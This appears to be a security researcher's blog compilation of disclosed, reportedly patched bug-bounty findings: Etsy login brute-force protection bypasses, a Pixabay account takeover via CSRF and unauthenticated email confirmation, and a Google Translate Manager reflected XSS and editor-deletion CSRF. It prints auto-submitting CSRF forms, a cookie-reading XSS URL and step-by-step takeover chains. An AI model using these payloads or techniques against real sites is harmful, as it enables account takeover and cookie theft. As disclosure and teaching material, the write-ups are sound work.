2nd Etsy Bruteforce Vulnerability

How I was able To Bypass Etsy Bruteforce Countermeasure 2nd Time

I want to share my second finding on Etsy which I and Prashant have reported to Etsy Security Team on 24th March 2013. Previously I have shared my 1st Etsy Bruteforce Countermeasure Bypass you can find it here http://www.websecresearch.tech/2013/08/1st-etsy-bruteforce-vulnerabilty.html .

We have found that the Etsy.com login page Url https://www.etsy.com/signin?from_page=http%3A%2F%2Fwww.etsy.com%2Findex.php is vulnerable to bruteforce attacks as there is no lockout policy, captcha implementation, rate limiting or IP based blocking when the attacker access and browse this website from Mobile device model Galaxy ACE S5830 and User Agent (Mozilla/5.0 (Linux; U; Andriod 2.3.6; en-gb; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1). Also note that the Etsy site is same if you browse it from mobile or from any desktop etc.

After some analysis we have found that the root cause for this vulnerability was that the Mobile User Agent (Mozilla/5.0 (Linux; U; Andriod 2.3.6; en-gb; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1) was whitelisted by Etsy and there was no account lockout policy, captcha, rate limiting or IP based blocking implemented for this user-agent, as when attacker submits the wrong password in the password input field it prompts that password was incorrect and when the attacker submits the right password in the password input field while doing advance bruteforcing then the is attacker is redirect to the victims accounts homepage.

That means that the attacker can successfully does the bruteforce attack(or password enumeration) as there is no account lockout policy, captcha, rate limiting or IP based blocking when the attacker access and browse this website from Mobile device model Galaxy ACE S5830 and User Agent (Mozilla/5.0 (Linux; U; Andriod 2.3.6; en-gb; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1) or by changing the user-agent and this attack can be done manually or by creating a scripting in ruby or python languages. 

We have also found that this vulnerability can also be exploited using other mobile user-agents and also by using anonymous user-agents as Etsy have allowed any anonymous user-agents and there was no account lockout policy, captcha, rate limiting or IP based blocking implemented for the anonymous user-agents also. For more details I have attached Proof of Concept Screenshots.

The vulnerability was mitigated by Etsy Security Team within 24 hrs on 25th September 2012.

1st Etsy Bruteforce Vulnerability

How I was able To Bypass Etsy Bruteforce Countermeasure 1st Time

I want to share one of my finding on Etsy which I have reported to them on 12th September 2012.

I have found that the Etsy.com login page Url https://www.etsy.com/signin?from_page=http://www.etsy.com/index.php was vulnerable to bruteforce attacks even after captcha implementation as when attacker submits the wrong password in the password input field it prompts that password was incorrect and when the attacker submits the right password in the password input field while doing advance bruteforcing then there is no error message displayed, also there was no need to fill the captcha. 

That means that the attacker can successfully does the bruteforce attack(or password enumeration) even when there is captcha Implement and this attack can be also be done manually or by creating a script in ruby or python languages. For more details I have attached Proof of Concept Screenshots.

The vulnerability was mitigated by Etsy Security Team within few hours on 12th September 2012.

How I was able to Compromise Pixabay Users Account Via CSRF

Pixabay CSRF Vulnerabilty

I want to share one of my finding on Pixabay which I have reported to them in 14th April 2013.

I have found that Pixabay following Url http://pixabay.com/en/accounts/settings was vulnerable to CSRF as the Anti-CSRF(security token) token is not getting validated on the server side. Using this CSRF vulnerability an attacker can easily change email id of any http://pixabay.com users account by changing his accounts email to his email id and after that the attacker can use the forget password option to reset the victims account password.

But there was a drawback that after changing the victims email id the victim himself have to confirm that newly added email id by logging into his account and then click on the confirmation link to confirm the addition of the newly added email id.

So now the attacker has only one option left that he again send the confirmation link(which is got into his email after the CSRF attack) to the victim while he is logged into his account, so it would be a 2 step CSRF attack but it was not easy to conduct 2 CSRF attacks one-by-one on the victims end.

So something striked that why not try to confirm that newly added email by himself. So for that the attacker created a dummy account of his own on pixabay.com and then tried to confirmed the newly added his own email id which he added into the victims pixabay account but unfortunately it didn't worked.

Again one more idea striked that why not try to confirm that newly added email by himself. So for this time the attacker opened that confirmation link without any logging or by sending it to victim. Now guess what it worked :P the newly added email id of attacker has been confirmed into the victims pixabay account and now the victim is not able to access his account nor he can reset his accounts password.

After that the attacker used the forget password option with his own email id which he has just confirmed into the victims account and received the victims user id and current password. In this way the attacker was able to compromise any pixabay users account.

Attack Scenario:

Attacker send a CSRF Payload Url http://dl-web.dropbox.com/get/Pixabay.com%20Any%20Users%20Account%20Compromise%20Via%20CSRF.html?w=AABkzWX73MbPtOpWK83pJg0in51JCirR7SfmC3v9w7eTxQ to the victims email id which contains attackers email s.test350@gmail.com.

As the victim open that Exploit Code Url while logged into his pixabay account the victim actually successfully executes the CSRF Payload on his own account and adds the attackers email id which is currently unverified and also sends an activation email on the added attackers unverified email id.

Now the attacker clicks on that activation link which was sent on his his email id and successfully activates his email id and verifies it, as the activation link can be used without login that was the major weakness in the countermeasure. After that the attacker uses the forget password option of the pixaway website with his email id s.test350@gmail.com and the attacker gets victims pixabay account password(in Plaintext) on his (attackers) email id s.test350@gmail.com and in this way the attacker successfully compromises the pixabay users account the same attack can be done on any pixabay.com users account.

CSRF Vulnerable Url:
http://pixabay.com/en/accounts/settings

CSRF Payload Hosted on Any File Upload Website:
http://dl-web.dropbox.com/get/Pixabay.com%20Any%20Users%20Account%20Compromise%20Via%20CSRF.html?w=AABkzWX73MbPtOpWK83pJg0in51JCirR7SfmC3v9w7eTxQ


CSRF Code:

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
    <form action="http://pixabay.com/en/accounts/settings/" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="gender" value="m" />
      <input type="hidden" name="username" value="ajaysinghnegi" />
      <input type="hidden" name="first_name" value="ajay" />
      <input type="hidden" name="last_name" value="negi" />
      <input type="hidden" name="city" value="delhi" />
      <input type="hidden" name="country" value="india" />
      <input type="hidden" name="date_of_birth_month" value="1" />
      <input type="hidden" name="date_of_birth_day" value="1" />
      <input type="hidden" name="date_of_birth_year" value="1987" />
      <input type="hidden" name="image" value="" />
      <input type="hidden" name="about_me" value="security freak" />
      <input type="hidden" name="facebook" value="http://facebook.com/ajaysinghnegi" />
      <input type="hidden" name="twitter" value="https://twitter.com/ajaysinghnegi" />
      <input type="hidden" name="google_plus" value="https://plus.google.com/" />
      <input type="hidden" name="website" value="http://computersecuritywithethicalhacking.blogspot.in/" />
      <input type="hidden" name="options" value="MESSAGES" />
      <input type="hidden" name="options" value="NEWSLETTER" />
      <input type="hidden" name="options" value="SITE_NOTIFICATIONS" />
      <input type="hidden" name="options" value="COMMENT_NOTIFICATIONS" />
      <input type="hidden" name="options" value="FOLLOW_MAILS" />
      <input type="hidden" name="paypal" value="" />
      <input type="hidden" name="email" value="s.test350@gmail.com" />
</form>
</body>
</html>


The vulnerability has been mitigated now and the data used in the CSRF payload is all dummy data :).

Google Translate Manager Reflected XSS and Editor Deletion CSRF Vulnerabilities

Google Translate Manager Reflected XSS

I want to share two of my finding on Google Translator Manager which I have reported to Google in July 2012.

 

I have found that Google's translator manager editor application is vulnerable to Reflected Cross site Scripting attack as new parameter of this applications following Url https://translate.google.com/manager/editors?site=7e337c0c4d4b36ee is used for inputting an email id but as there is no input validation, filtration or sanitation on server side nor there is any output encoding etc to prevent this Reflected Cross site Scripting Vulnerability. So the attacker easily can steal the cookies(as http only cookie attribute missing) of any of those website users and can easily compromise there account. This vulnerabiltiy can also be exploited using the Click Jacking vulnerability or CSRF as I have reported them also before.

Original XSS Vulnerable Url(Reflected XSS Via GET & POST Requests while adding an Editor & by Injecting the XSS Payload in Invite field):
https://translate.google.com/manager/editors?site=7e337c0c4d4b36ee

Crafted XSS Vulnerable Url:
https://translate.google.com/manager/editors?new=http://test.com<script>alert(document.cookie)</script>

XSS Payloads: http;//test.com<script>alert(document.cookie)</script>>

Vulnerable Parameter: new 

Reflected XSS Vulnerability POC Screenshots:

Google Translate Manager Editor Deletion CSRF
 

I have found that Google Translator Manager's follwoing Url https://translate.google.com/manager/editors?security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA:1347028470330&sel=4214ba4271023095 was vulnerable to CSRF as the Anti-CSRF(security token) token is not getting validated on the server side and the request can be sent using get and post both methods also there is a sel parameter whose value is always same and random for each mail and it can be get by attacker easily.

Original CSRF Vulnerable Url(The sel parameter is used for deleting the email id and its value is always same and random for each email id.):
https://translate.google.com/manager/editors?security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA:1347028470330&sel=4214ba4271023095

Crafted CSRF Vulnerable Url:
https://translate.google.com/manager/editors?sel=4214ba4271023095

Now the attacker sends the crafted url to the victims mail or in his chat the victim click on it and opens the crafted Url https://translate.google.com/manager/editors?sel=4214ba4271023095 on his browser as he opens this url the attacker successfully deletes any existing editors of the victims google translator manager account.(as the get request method is allowed and the Anti-CSRF token to prevent the CSRF is not getting validated on the server side even though it is implemented as following parameter security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA:1347028470330 and also the editors email id value for sel=4214ba4271023095(4214ba4271023095=securitytesting01@gmail.com) parameter is always same and the attacker can get this sel value very easily by using any fake account and by adding the victims email id as an editor(temporarily) in his fake google translator manager account.

The Same attack can also be done using post request method using the below mentioned code and sending it to the victim via mail using a crafted html page link:

CSRF Code:

<html>
<head>
</head>
<body onload=document.forms[0].submit();>
<form action="http://translate.google.com:80/manager/editors" method="POST">
<input type="hidden" name="sel" value="4214ba4271023095"/>
</form>
</body>
</html>



Original CSRF Vulnerable Url:
https://translate.google.com/manager/editors?security_token=ALkJrhh1nJFVwo32YpPScTHeQhJ9GUZXAA%3A1347028470330&sel=4214ba4271023095

Crafted CSRF Vulnerable Url:
 https://translate.google.com/manager/editors?sel=4214ba4271023095


Both the vulnerabilities has been mitigated now.